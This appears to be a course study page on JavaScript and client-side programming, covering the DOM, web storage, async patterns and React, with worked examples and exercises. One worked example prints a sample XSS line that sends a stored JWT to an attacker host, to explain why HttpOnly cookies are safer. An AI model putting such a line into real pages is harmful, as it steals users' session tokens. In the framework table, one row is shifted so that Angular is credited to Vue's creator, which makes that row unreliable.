JavaScript and Client-Side Programming
Open in the Padhaiko app2.1 JavaScript essentials
JavaScript is a high-level, single-threaded, dynamically typed, prototype-based scripting language that conforms to the ECMAScript specification. As the native execution runtime of the World Wide Web, JavaScript enables client-side responsiveness, asynchronous communication, Document Object Model (DOM) manipulation, and event handling.
2.1.1 Data types, variables, control structures, functions
Data Types in JavaScript
JavaScript partitions data into seven primitive data types and one complex reference type:
- Primitives (Stored directly in execution stack by value, immutable):
number: 64-bit IEEE 754 floating-point values representing integers and decimals (e.g.,42,3.14159,NaN,Infinity).string: Immutable sequences of 16-bit UTF-16 code units (e.g.,'Tribhuvan',"Institute of Engineering").boolean: Logical entities representingtrueorfalse.null: Intentional absence of any object reference.undefined: Primitive value automatically assigned to uninitialized variables.bigint: Arbitrary-precision integers for calculations exceeding theNumber.MAX_SAFE_INTEGERthreshold (2^53 - 1).symbol: Unique and immutable primitive used as non-enumerable object property identifiers.
- Reference Type (Stored in heap memory, passed by pointer reference):
object: Unordered collections of keyed properties, including plain objects{...}, arrays[...], functionsfunction(){}, and date instances.
Variable Declarations: var vs. let vs. const
ECMAScript 6 (ES6) introduced block-scoped bindings that resolved fundamental scoping defects of var:
| Aspect | var (Legacy) | let & const (Modern ES6) |
|---|---|---|
| Scope | Function-scoped (or globally scoped if outside a function) | Block-scoped (enclosed within curly braces { ... }) |
| Hoisting Behavior | Hoisted to top of scope and initialized to undefined | Hoisted to top of block but trapped in the Temporal Dead Zone (TDZ) until declaration line executes |
| Redeclaration | Permitted within the same scope without error | Throws a SyntaxError if redeclared in the same scope |
| Reassignment | Permitted anytime | let permits reassignment; const forbids reassignment of the variable binding |
Control Structures
JavaScript features imperative control structures identical to C and Java:
- Conditionals:
if...else if...else, ternary operatorcondition ? expr1 : expr2, andswitch...casewith strict equality (===) comparison. - Loops: Classic
for(let i = 0; i < n; i++),while(condition),do...while(condition). - Iteration Constructs:
for...in: Iterates over enumerable property keys of an object.for...of: Iterates over values of iterable collections (Arrays, Sets, Maps, Strings).
Functions, Scope, and Closures
Functions are first-class citizens in JavaScript: they can be stored in variables, passed as arguments, and returned from other functions.
Closure
A closure is the combination of a function bundled together with references to its surrounding state (its lexical environment). A closure gives an inner function access to an outer function's scope even after the outer function has finished executing and returned from the call stack.
// Function demonstrating closure and private state encapsulation
function createCounter(initialValue) {
let count = initialValue; // Private state in lexical environment
return {
increment: function() {
count += 1;
return count;
},
decrement: function() {
count -= 1;
return count;
},
getValue: function() {
return count;
}
};
}
const counter = createCounter(10);
counter.increment(); // returns 11
counter.getValue(); // returns 112.1.2 Dom manipulation, events, and form validation
The Document Object Model (DOM)
The DOM is a language-independent, tree-structured API created by the browser that represents the parsed HTML document. Each HTML element, attribute, and text snippet is an addressable node in the tree hierarchy.
Core DOM Selection and Manipulation APIs:
- Selection:
document.getElementById('id'),document.querySelector('.class'),document.querySelectorAll('div > p'). - Content Modification:
element.textContent(safe text injection, prevents XSS),element.innerHTML(parses HTML string),element.setAttribute('attr', 'value'). - Style Manipulation:
element.style.color = 'blue',element.classList.add('active'),element.classList.remove('hidden'),element.classList.toggle('dark-theme'). - Node Creation:
const node = document.createElement('li'),parent.appendChild(node),parent.removeChild(node).
Event Architecture and Event Propagation
Browser events (clicks, keypresses, mouse movements, form submits) propagate through the DOM tree in three distinct phases:
[ Window ]
| ^
| 1 | 3 (Phase 1: Capturing Phase - downward traversal)
v | (Phase 3: Bubbling Phase - upward traversal)
[ Document ]
| ^
v |
[ <body> ]
| ^
v |
[ <div> Container ]
| ^
v |
[ <button> Target ] <--- Phase 2: Target Phase- Capturing Phase: Event trickles down from
windowthrough ancestors to the target element. - Target Phase: Event reaches the actual element that triggered the action.
- Bubbling Phase: Event bubbles up from the target back through ancestors to
window.
Event Handling Methods:
element.addEventListener('click', handler, useCapture): Registers listener. IfuseCaptureisfalse(default), the handler fires during bubbling; iftrue, it fires during capturing.event.stopPropagation(): Prevents the event from traveling further up or down the DOM hierarchy.event.preventDefault(): Cancels default browser behavior associated with the event (such as preventing form submission page reloads or stopping anchor link navigation).
Event Delegation
Event delegation is a design pattern where a single event listener is attached to a common parent element instead of binding separate listeners to numerous individual child elements. It leverages the event bubbling phase, capturing events as they bubble up and checking event.target to determine which child triggered the action. This drastically minimizes memory consumption and automatically handles dynamically inserted elements.
Client-Side Form Validation
Validating input on the client provides immediate user feedback and conserves server bandwidth:
const form = document.querySelector('#registration-form');
const emailInput = document.querySelector('#email');
const errorMsg = document.querySelector('#error-display');
form.addEventListener('submit', function(event) {
const emailRegex = /^[^\s@]+@[^\s@]+\.[a-zA-Z]{2,}/;
if (!emailRegex.test(emailInput.value.trim())) {
event.preventDefault(); // Stop form submission
errorMsg.textContent = 'Please enter a valid academic email address.';
emailInput.classList.add('is-invalid');
} else {
errorMsg.textContent = '';
emailInput.classList.remove('is-invalid');
}
});2.1.3 Local storage and session storage
The Web Storage API provides client-side mechanisms for storing key-value string pairs directly inside the browser sandbox:
| Aspect | localStorage | sessionStorage |
|---|---|---|
| Lifetime & Persistence | Persistent across browser sessions; data survives tab closures, window restarts, and OS reboots until explicitly cleared | Ephemeral; data survives page reloads but is destroyed the instant the browser tab or window is closed |
| Storage Capacity | Typically 5 MB to 10 MB per origin | Typically 5 MB per origin |
| Scope & Isolation | Shared across all tabs, windows, and iframes sharing the exact same origin (protocol + host + port) | Strictly isolated to the specific browser tab that created it |
| HTTP Transmission | Never transmitted automatically in HTTP request headers (unlike Cookies) | Never transmitted automatically in HTTP request headers |
| API Synchronicity | Synchronous, blocking execution on the main JavaScript thread | Synchronous, blocking execution on the main JavaScript thread |
Common Web Storage Methods:
localStorage.setItem('theme', 'dark'): Stores string key and value.localStorage.getItem('theme'): Retrieves value or returnsnullif key does not exist.localStorage.removeItem('theme'): Deletes the key-value pair.localStorage.clear(): Purges all stored keys for the current origin.- Handling Complex Data: Because Web Storage only stores strings, objects must be serialized via
JSON.stringify(obj)and parsed upon retrieval viaJSON.parse(str).
2.1.4 GUI interactions
Modern web interfaces demand fluid graphical user interface (GUI) interactions:
- Modals and Dialogs: Accessible overlay dialogs that interrupt normal workflow, trap keyboard focus (
Tabkey looping), and close uponEscapekey press. - Accordion Menus & Tabs: Toggling visibility of sub-sections using ARIA attributes (
aria-expanded="true/false",aria-hidden="true/false") and CSS class transitions. - Drag and Drop API: Native HTML5 drag-and-drop events (
dragstart,dragover,drop) enabling interactive file uploads and kanban board interfaces. - Tooltips & Dropdowns: Position-calculated floating contextual elements responding to hover, focus, and click triggers.
2.1.5 JavaScript library: jQuery
jQuery is a fast, lightweight JavaScript library created by John Resig in 2006 to simplify HTML DOM tree traversal, event handling, CSS animation, and Ajax interactions across heterogeneous browser engines.
Key Architectural Contributions of jQuery:
- Cross-Browser Normalization: Normalized disparate browser DOM APIs (e.g., handling Internet Explorer differences transparently).
- Concise CSS-Style Selector Syntax: Replaced verbose
document.getElementsByClassNamecalls with unified selector syntax:jQuery('.btn')or the alias wrapperjQuery('#id'). - Method Chaining: Permitted calling multiple consecutive operations on the same selected element set:
// jQuery method chaining
jQuery('#notification-banner')
.addClass('alert-success')
.text('Your profile was updated successfully!')
.fadeIn(300)
.delay(2000)
.fadeOut(300);- Simplified Ajax Calls: Abstracted complex
XMLHttpRequestboilerplate into straightforward helper methods:jQuery.get(),jQuery.post(), andjQuery.ajax().
While modern vanilla JavaScript (ES6+, document.querySelectorAll, fetch) has supplanted jQuery in greenfield single-page applications, millions of production enterprise websites and legacy WordPress/Bootstrap systems rely on jQuery.
2.2 Modern JavaScript (ES6+)
The ECMAScript 2015 (ES6) specification and subsequent annual revisions fundamentally transformed JavaScript into a robust language capable of large-scale software engineering.
2.2.1 Arrow functions, destructuring, spread/rest operators
Arrow Functions
Arrow functions provide a concise syntax for function expressions and solve the notorious this binding ambiguity in JavaScript:
// Traditional function expression
const squareTraditional = function(x) {
return x * x;
};
// Concise ES6 arrow function with implicit return
const squareArrow = x => x * x;Destructuring Assignment
Destructuring unpacks values from arrays or properties from objects into distinct variables:
// Object destructuring with default values and renaming
const course = { code: 'ENCT 302', title: 'Web App Programming', marks: 80 };
const { code, title, instructor = 'Faculty', marks: fullMarks } = course;
// Array destructuring with element skipping
const coordinates = [27.7172, 85.3240, 1400]; // lat, lng, altitude
const [latitude, longitude] = coordinates;Spread and Rest Operators (...)
The ellipsis syntax serves two inverse purposes based on context:
- Rest Parameter: Condenses multiple trailing function arguments into a single real Array instance:
function calculateTotal(...scores) {
return scores.reduce((acc, score) => acc + score, 0);
}- Spread Operator: Expands an iterable array or object into individual elements or property copies:
const baseSettings = { theme: 'dark', fontSize: 14 };
const userSettings = { ...baseSettings, fontSize: 16, autoSave: true }; // Shallow clone + override2.2.2 Callbacks, promises, async/await
JavaScript operates on a single execution thread with a non-blocking, event-driven I/O loop. Asynchronous programming patterns evolved through three key milestones:
1. Callbacks and "Callback Hell"
Early asynchronous programming relied on passing callback functions to be invoked upon task completion. Nesting multiple dependent asynchronous operations (e.g., reading a file, querying a database, writing a network response) resulted in deeply indented, unmaintainable code known as Callback Hell or the Pyramid of Doom:
// Callback Hell anti-pattern
fetchUser(userId, function(user) {
fetchOrders(user.id, function(orders) {
calculateDiscounts(orders, function(total) {
renderInvoice(total, function() {
console.log('Invoice rendered');
});
});
});
});2. Promises
A Promise is an object representing the eventual completion (or failure) of an asynchronous operation and its resulting value. A promise exists in one of three mutually exclusive states:
pending: Initial state; neither fulfilled nor rejected.fulfilled: Asynchronous operation completed successfully; returns a value via.then().rejected: Asynchronous operation failed; passes an error reason via.catch().
// Promise chaining resolves deep nesting into linear pipelines
fetchUserData(userId)
.then(user => fetchOrders(user.id))
.then(orders => calculateDiscounts(orders))
.then(total => renderInvoice(total))
.catch(error => {
console.error('Asynchronous pipeline failed:', error);
})
.finally(() => {
hideLoadingSpinner();
});Useful Promise Combinators:
Promise.all([p1, p2, p3]): Fulfills when all input promises fulfill (returning array of results); rejects immediately if any single promise rejects (fail-fast).Promise.allSettled([p1, p2]): Waits until all promises complete, returning individual{ status: 'fulfilled'|'rejected', value/reason }objects.Promise.race([p1, p2]): Fulfills or rejects as soon as the first promise settles.
3. Async / Await Syntax
Introduced in ES2017, async and await provide syntactic sugar built on top of native Promises, enabling developers to write asynchronous code that reads sequentially like synchronous code:
async function loadStudentRecords(studentId) {
try {
const response = await fetch('/api/students/' + studentId);
if (!response.ok) {
throw new Error('HTTP error with status: ' + response.status);
}
const student = await response.json();
return student;
} catch (err) {
console.error('Failed to load student:', err.message);
throw err;
}
}2.2.3 Modules and imports
Prior to ES6, JavaScript lacked native module encapsulation, relying on global scope pollution or third-party wrappers (CommonJS in Node.js, AMD in RequireJS).
ES6 Modules (ESM) standardized file-level scoping:
- Each module file has its own isolated scope; variables declared inside do not leak into global namespace.
- Modules execute in strict mode (
'use strict') by default. - Syntax uses
export(named or default) andimport:
// mathUtils.js - Exporting module
export const PI = 3.14159;
export function add(a, b) {
return a + b;
}
export default class Calculator {
// default export
}
// app.js - Importing module
import Calculator, { PI, add } from './mathUtils.js';2.3 Client-side applications
Modern client-side web engineering focuses on building rich, responsive web applications executing predominantly within the browser runtime.
2.3.1 Client-side web application development using React JS library
React is an open-source, component-driven JavaScript library maintained by Meta for building dynamic user interfaces. Rather than manipulating the browser DOM directly, React maintains an in-memory lightweight representation called the Virtual DOM. When application state changes, React computes the minimal difference between the previous and new Virtual DOM trees using a fast reconciliation algorithm (the Fiber architecture) and applies batch updates to the real browser DOM.
2.3.2 Traditional multi-page apps vs. single-page apps (SPAs)
| Aspect | Multi-Page Applications (MPAs) | Single-Page Applications (SPAs) |
|---|---|---|
| Page Reload Architecture | Every navigation triggers a complete browser teardown and full-page HTML reload from server | Single initial HTML shell loaded; subsequent views update dynamically without page reloads |
| Rendering Responsibility | Server-side template rendering (PHP, Django, ASP.NET) | Client-side JavaScript rendering (React, Vue, Angular) |
| Network Data Payload | Transmits fully rendered HTML documents, duplicating headers, footers, and scripts | Transmits lightweight raw JSON payloads via REST/GraphQL APIs |
| User Experience (UX) | Noticeable screen flash, blank white screen flickers, latency on page jumps | Desktop-like fluid UI transitions, instantaneous client-side view swaps |
| Search Engine Optimization | Straightforward out-of-the-box (static HTML directly readable by crawlers) | Requires Server-Side Rendering (SSR) or pre-rendering for optimal search indexing |
| Initial vs. Subsequent Load | Fast initial load; consistent latency across all subsequent routes | Slower initial bundle download; ultra-fast subsequent route transitions |
2.3.3 Component-based UI and props
React architectures decompose complex user interfaces into independent, reusable, and composable building blocks called components.
JSX (JavaScript XML)
React uses JSX, an XML-like syntax extension for JavaScript that combines UI markup with rendering logic:
// JSX Component
function CourseBadge({ courseCode, courseTitle }) {
return (
<div className="badge-card">
<span className="badge-code">{courseCode}</span>
<h4 className="badge-title">{courseTitle}</h4>
</div>
);
}Props (Properties)
Props represent read-only inputs passed from a parent component down to a child component. React enforces a strict unidirectional top-down data flow: child components cannot mutate received props directly.
2.3.4 State management and data flow
While props are external and immutable to a component, state represents internal, mutable data that changes over time in response to user actions or network events. When a component's state updates, React automatically triggers a re-render of that component and its child subtree.
React Hooks: useState and useEffect
Functional components manage state and side effects through standard React Hooks:
import React, { useState, useEffect } from 'react';
function StudentAttendance() {
// Declaring state variable 'presentCount' initialized to 0
const [presentCount, setPresentCount] = useState(0);
const [sessionTime, setSessionTime] = useState(0);
// useEffect handles lifecycle side effects (timers, API subscriptions)
useEffect(() => {
const timer = setInterval(() => {
setSessionTime(prevTime => prevTime + 1);
}, 1000);
// Cleanup function executed on component unmount
return () => clearInterval(timer);
}, []); // Empty dependency array = runs once on initial mount
return (
<div>
<h3>Classroom Attendance: {presentCount}</h3>
<p>Session Elapsed: {sessionTime} seconds</p>
<button onClick={() => setPresentCount(presentCount + 1)}>
Mark Student Present
</button>
</div>
);
}2.3.5 Client-side routing and navigation without reloads
In traditional web applications, clicking an anchor link triggers a browser HTTP GET request to the server, reloading the entire page. In Single Page Applications, client-side routing (implemented via libraries such as react-router-dom) intercepts navigation actions using the browser's HTML5 History API (history.pushState and window.addEventListener('popstate')).
Key Routing Mechanisms:
pushState(state, title, url): Updates the browser address bar and history stack without triggering a network request or document refresh.- Route Matching: The router matches the active URL path against registered
<Route>components and mounts the appropriate UI view inside the layout shell.
2.3.6 Fetch API: Fetching, displaying data, handling errors and loading states
The Fetch API is the modern browser standard for performing asynchronous HTTP requests. In client-side applications, handling three distinct UI states (loading, success, error) is mandatory for robust user experience:
import React, { useState, useEffect } from 'react';
function SubjectList() {
const [subjects, setSubjects] = useState([]);
const [isLoading, setIsLoading] = useState(true);
const [errorMessage, setErrorMessage] = useState(null);
useEffect(() => {
let isSubscribed = true;
async function loadData() {
try {
setIsLoading(true);
const res = await fetch('https://api.tu.edu.np/v1/sem5/subjects');
if (!res.ok) {
throw new Error('Failed to fetch subjects: HTTP ' + res.status);
}
const data = await res.json();
if (isSubscribed) {
setSubjects(data);
setErrorMessage(null);
}
} catch (err) {
if (isSubscribed) {
setErrorMessage(err.message);
}
} finally {
if (isSubscribed) {
setIsLoading(false);
}
}
}
loadData();
return () => { isSubscribed = false; };
}, []);
if (isLoading) return <div className="spinner">Loading syllabus data...</div>;
if (errorMessage) return <div className="alert-error">Error: {errorMessage}</div>;
return (
<ul>
{subjects.map(sub => (
<li key={sub.code}>{sub.code}: {sub.title}</li>
))}
</ul>
);
}2.3.7 Comparison of modern JavaScript libraries: React, Angular, Vue
Modern front-end engineering is dominated by three major architectural frameworks:
| Feature | React | Angular | Vue.js |
|---|---|---|---|
| Classification | Component UI Library | Full-Featured MVC Framework | Progressive Framework |
| Created & Backed By | Meta (Facebook) & Community | Evan You & Community | |
| Language & Syntax | JavaScript / TypeScript with JSX | Strict TypeScript with HTML templates | JavaScript / TypeScript with Single File Components (.vue) |
| DOM Mechanism | Virtual DOM (Fiber reconciliation) | Incremental DOM | Virtual DOM |
| Data Binding | Unidirectional (One-way) | Bidirectional (Two-way [(ngModel)]) | Bidirectional (v-model) |
| Architecture | Unopinionated; requires third-party routing and state libraries | Highly opinionated; includes router, HTTP client, and form validators | Progressive; official companion libraries (Vue Router, Pinia) |
| Learning Curve | Moderate (requires mastering JSX, hooks, state patterns) | Steep (requires TypeScript, RxJS Observables, Dependency Injection) | Gentle (approachable template syntax and clear reactivity model) |
Worked Examples
JavaScript Event Loop and Microtask Queue Execution Order
Analyze the following asynchronous JavaScript code snippet:
console.log('A');
setTimeout(() => {
console.log('B');
}, 0);
Promise.resolve().then(() => {
console.log('C');
}).then(() => {
console.log('D');
});
queueMicrotask(() => {
console.log('E');
});
console.log('F');Trace the step-by-step execution across the Call Stack, Web APIs, Macrotask Queue, and Microtask Queue. Determine the exact final logged console sequence.
Execute Synchronous Code on the Call Stack:
console.log('A')is pushed to Call Stack, executes immediately, logsA, and is popped.setTimeout(..., 0)is pushed to Call Stack. The browser timer Web API registers a 0 ms timer. Upon expiration, its callback() => console.log('B')is enqueued into the Macrotask Queue (Task Queue).Promise.resolve().then(...)is evaluated. The callback() => console.log('C')is enqueued into the high-priority Microtask Queue.queueMicrotask(...)explicitly enqueues() => console.log('E')into the Microtask Queue.console.log('F')executes synchronously on Call Stack, logsF, and pops.
At this instant, the Call Stack is completely empty. Printed so far: A, F.
Drain the Microtask Queue: The Event Loop rule states: Whenever the Call Stack becomes empty, the engine must drain the entire Microtask Queue completely before taking any new Macrotask.
- Microtask 1:
() => console.log('C')runs, logsC. Its return fulfills the chained promise, enqueuing() => console.log('D')onto the end of the Microtask Queue. - Microtask 2:
() => console.log('E')runs, logsE. - Microtask 3: The newly chained
() => console.log('D')runs, logsD.
The Microtask Queue is now fully empty. Printed so far: A, F, C, E, D.
Execute Macrotask Queue: With Call Stack and Microtask Queue empty, the Event Loop takes the oldest pending macrotask from the Macrotask Queue:
() => console.log('B')runs, logsB.
The call stack and all queues are now cleared.
The exact logged sequence is: A -> F -> C -> E -> D -> B
Synchronous code runs first (A, F), followed by the complete draining of the Microtask Queue (C, E, D), and finally the Macrotask Queue (B).
Client Storage Capacity and Serialization Overhead
An engineering portal caches student examination records on the client side.
- Compare the standard storage limits: standard browser Cookies limit per domain (4096 bytes) versus HTML5 LocalStorage quota (5 MB, where 1 MB = 1024 * 1024 bytes).
- Calculate the exact numerical ratio showing how many times more capacity LocalStorage provides compared to a single max-sized Cookie.
- Explain why storing sensitive JWT authentication tokens in LocalStorage introduces security vulnerabilities.
Calculate Storage Quotas in Bytes:
- Cookie Maximum Size = 4096 bytes (4 KB).
- LocalStorage Standard Quota = 5 MB = 5 * 1024 * 1024 bytes = 5,242,880 bytes.
Calculate Capacity Ratio: Capacity Ratio = (LocalStorage Quota in Bytes) / (Max Cookie Size in Bytes) Capacity Ratio = 5,242,880 / 4,096 = 1280.0
LocalStorage provides exactly 1,280 times the storage space of a single maximum-capacity cookie.
Security Vulnerability Analysis (XSS vs LocalStorage): Any JavaScript executing within the browser origin has unrestricted, read-and-write programmatic access to localStorage via window.localStorage. If an application suffers from a Cross-Site Scripting (XSS) vulnerability (e.g., through unescaped user input), an attacker can inject malicious script code to steal tokens: fetch('https://attacker.com/steal?token=' + localStorage.getItem('jwt_token'));
In contrast, storing authentication tokens inside an HttpOnly cookie prevents client-side JavaScript from accessing or reading the token via document.cookie, completely mitigating token theft via XSS attacks.
- A cookie holds 4,096 bytes; LocalStorage holds 5,242,880 bytes (5 MB).
- LocalStorage provides exactly 1,280 times the storage capacity of a maximum cookie.
- Storing JWTs in LocalStorage is dangerous because any Cross-Site Scripting (XSS) vulnerability permits malicious scripts to read and exfiltrate tokens via JavaScript.
HttpOnlycookies mitigate this by forbidding JavaScript access.
React Virtual DOM Reconciliation and Key Prop Analysis
A student renders an un-keyed dynamic list of students in React:
// Before update:
<ul>
<li>Aarav</li>
<li>Bikash</li>
</ul>
// After update (prepending a new student to the front):
<ul>
<li>Chandan</li>
<li>Aarav</li>
<li>Bikash</li>
</ul>- Explain how React's default reconciliation algorithm processes this update when no
keyprop is provided. - Contrast this with the behavior when stable unique keys (
key={student.id}) are supplied. - Why should array indexes (
key={index}) never be used for dynamic lists that support reordering, deletion, or prepending?
Reconciliation without Keys (Linear Index Comparison): React compares children of the <ul> element by iterating over both lists simultaneously based on position index:
- Position 0: Compares old
<li>Aarav</li>with new<li>Chandan</li>. Seeing a difference in text content, React mutates the existing DOM node from "Aarav" to "Chandan". - Position 1: Compares old
<li>Bikash</li>with new<li>Aarav</li>. React mutates the existing DOM node from "Bikash" to "Aarav". - Position 2: Discovers a new element with no old counterpart. React creates a new DOM node and appends
<li>Bikash</li>.
Result: React performs three destructive DOM mutations instead of inserting just one new node. If the <li> held internal state (such as input fields or checkboxes), user state would become completely desynchronized and corrupted!
Reconciliation with Stable Unique Keys: When stable keys are provided (e.g., key="chandan", key="aarav", key="bikash"):
- React matches children across trees by their persistent key identity rather than array position.
- React recognizes that elements with keys
"aarav"and"bikash"merely shifted downward in order. - React leaves the existing DOM nodes for "Aarav" and "Bikash" untouched and executes a single DOM operation:
parentElement.insertBefore(newChild, firstChild)to prepend "Chandan".
Why Array Index as Key is Harmful: Using key={index} permanently binds an element's identity to its sequential array position. When an item is prepended or deleted:
- Every subsequent element's array index shifts (index 0 becomes index 1, index 1 becomes index 2).
- React sees matching keys at each index position and assumes the items stayed identical, failing to recreate components and incorrectly binding stateful inputs to the wrong records.
Without keys, React compares children linearly by position, mutating all DOM nodes and corrupting child state. With unique keys, React identifies moved nodes and performs a single prepend operation. Array indexes must not be used because prepending or deleting items changes every element's index, defeating reconciliation and corrupting component state.
Exercises
Practice Exercises — JavaScript and Client-Side Programming
Describe the architecture of the JavaScript Event Loop. Explain the role of the Call Stack, Web APIs, Task Queue (Macrotasks), and Microtask Queue, and state the exact priority order governing their execution.
Core Components of the Event Loop Architecture:
- Call Stack: A single-threaded LIFO (Last-In, First-Out) data structure that tracks the current execution context and function frames.
- Web APIs: Browser background threads handling asynchronous timers (
setTimeout), DOM events (addEventListener), network requests (fetch), and file I/O outside the main JavaScript thread. - Microtask Queue: High-priority queue holding callbacks from
Promise.then/catch/finally,queueMicrotask(), andMutationObserver. - Macrotask Queue (Task Queue): Standard-priority queue holding callbacks from
setTimeout,setInterval,setImmediate, and UI rendering events.
Execution Priority Order:
- The engine executes synchronous code on the Call Stack until it is completely empty.
- Once the Call Stack is empty, the Event Loop inspects the Microtask Queue. It executes all pending microtasks sequentially until the Microtask Queue is completely drained (including microtasks enqueued while draining).
- Next, the browser engine may perform UI render and repaint calculations if a frame refresh is due (e.g., 60 Hz or 90 Hz).
- Finally, the Event Loop pulls exactly one macrotask from the head of the Macrotask Queue, pushes it to the Call Stack, and executes it.
- After that single macrotask finishes, the Event Loop returns immediately to the microtask draining phase, clearing the Microtask Queue again before taking the next macrotask.
The Event Loop coordinates the Call Stack, Web APIs, Microtask Queue, and Macrotask Queue. Synchronous code runs first on the Call Stack. When empty, the engine drains all Microtasks completely before processing a single Macrotask, repeating this cycle continuously.
Trace the historical evolution of asynchronous programming in JavaScript from Callbacks to Promises and Async/Await. Illustrate how Promises overcome the fundamental architectural flaws of callbacks.
Evolutionary Stages of Asynchronous JavaScript:
- Callbacks: Functions passed as parameters to be executed upon completion of an asynchronous task. Suffered from Callback Hell (deeply nested pyramids of code) and Inversion of Control (surrendering control of your callback to a third-party function that might execute it zero times, multiple times, or fail to handle errors).
- Promises (ES6): First-class objects representing an asynchronous value with standardized states (
pending,fulfilled,rejected). Promises restored control by returning an object to which handlers are attached, guaranteed to fire exactly once and supporting linear.then()chaining. - Async / Await (ES2017): Syntactic sugar over Promises. Enables writing non-blocking asynchronous routines using synchronous linear syntax and standard
try...catchblocks.
How Promises Resolve Callback Flaws:
- Eliminates nesting through clean method chaining (
p.then().then()). - Centralizes error handling via
.catch(), eliminating error-checking boilerplate in every callback. - Guarantees execution invariants: a promise resolves only once, and resolved callbacks fire asynchronously even if attached after resolution.
- Enables parallel coordination via
Promise.all()andPromise.allSettled().
Asynchronous JavaScript evolved from nested callbacks (which caused Callback Hell and inversion of control) to Promises (first-class stateful objects providing chainable linear flows and centralized error handling) and finally async/await (clean synchronous-style syntax over Promises).
Compare Cookies, localStorage, and sessionStorage across the following criteria: storage capacity, persistence lifecycle, transmission with HTTP requests, and accessibility scope.
Comparison Table:
- Storage Capacity:
- Cookies: 4 KB (4096 bytes) total per domain.
- localStorage: 5 MB to 10 MB per origin.
- sessionStorage: 5 MB per origin.
- Persistence Lifecycle:
- Cookies: Configurable via
ExpiresorMax-Ageheaders; deleted on expiration date. Session cookies delete upon browser exit. - localStorage: Indefinite persistence; survives browser/OS restarts until explicitly cleared via script or user cache wipe.
- sessionStorage: Ephemeral; destroyed the instant the enclosing browser tab is closed.
- Cookies: Configurable via
- HTTP Transmission:
- Cookies: Automatically appended to every single outgoing HTTP request header (
Cookie: ...) matching domain and path. - localStorage: Never transmitted in HTTP requests; purely client-side storage.
- sessionStorage: Never transmitted in HTTP requests; purely client-side storage.
- Cookies: Automatically appended to every single outgoing HTTP request header (
- Accessibility Scope:
- Cookies: Accessible by all windows/tabs matching domain and path (restricted by
HttpOnlyandSameSite). - localStorage: Shared across all windows, tabs, and iframes sharing identical origin (
protocol://host:port). - sessionStorage: Strictly isolated to the specific browser tab that created it.
- Cookies: Accessible by all windows/tabs matching domain and path (restricted by
Cookies store 4 KB, persist based on Max-Age, and transmit automatically with every HTTP header. LocalStorage stores 5 MB persistently across all origin tabs without network transmission. SessionStorage stores 5 MB isolated strictly to a single browser tab, surviving only until the tab closes.
Explain how React's Virtual DOM and Reconciliation Algorithm work. How does the Fiber architecture optimize UI rendering performance on high-refresh-rate displays?
Virtual DOM and Reconciliation: The Virtual DOM is an in-memory tree of lightweight JavaScript objects mirroring the browser DOM. When component state changes:
- React generates a new Virtual DOM representation of the updated UI.
- The diffing algorithm compares the new Virtual DOM tree against the previous Virtual DOM tree.
- React's heuristic diffing operates in O(n) time by assuming:
- Two elements of different types produce different trees.
- Child elements with stable
keyattributes preserve their identity across renders.
- React compiles a batch of minimal DOM mutation instructions and applies them to the real browser DOM in a single pass.
Optimization through Fiber Architecture: Prior to React 16, reconciliation was synchronous and recursive (Stack Reconciler), locking the main JavaScript thread during large updates and causing visible frame drops. The Fiber reconciler reimplemented rendering as an asynchronous, incremental virtual call stack:
- Breaks rendering work into small discrete units of work ("fibers").
- Work can be paused, prioritized, aborted, or resumed across browser animation frames (
requestIdleCallback). - High-priority tasks (user typing, button taps) preempt low-priority background data renders, ensuring smooth 60-90 fps scrolling.
React builds an in-memory Virtual DOM tree, calculates differences against the previous tree using an O(n) heuristic diffing algorithm, and applies batch updates to the real DOM. The Fiber architecture makes this process incremental and interruptible, allowing high-priority user interactions to preempt long renders for smooth frame rates.
Differentiate between Traditional Multi-Page Applications (MPAs) and Single-Page Applications (SPAs). Discuss the advantages and trade-offs of SPAs with regard to initial load time, SEO, and user experience.
Architectural Difference:
- MPA: Every user click triggers an HTTP request to the server, which compiles a complete HTML page and returns it, forcing a full browser refresh and blank white flash between page loads.
- SPA: The browser downloads an initial single HTML wrapper and JavaScript bundle once. Subsequent route transitions fetch raw JSON data asynchronously via APIs, updating specific sections of the DOM without reloading the page.
Advantages and Trade-offs of SPAs:
- User Experience (Advantage): Fluid, desktop-like app responsiveness with zero screen flicker and persistent application state between views.
- Initial Load Time (Trade-off): Slower initial load because the browser must download, parse, and execute substantial JavaScript bundles before rendering the first meaningful paint.
- Search Engine Optimization (Trade-off): Search engine web crawlers historically struggled to execute client-side JavaScript, hurting SEO rankings compared to server-rendered MPAs. Modern SPAs mitigate this using Server-Side Rendering (SSR) via frameworks like Next.js.
MPAs reload full HTML pages on every navigation, whereas SPAs load a single shell and dynamically swap views using client-side JavaScript and JSON APIs. SPAs deliver fluid desktop-like user experiences but suffer from larger initial bundle downloads and require SSR to match MPA search engine optimization (SEO).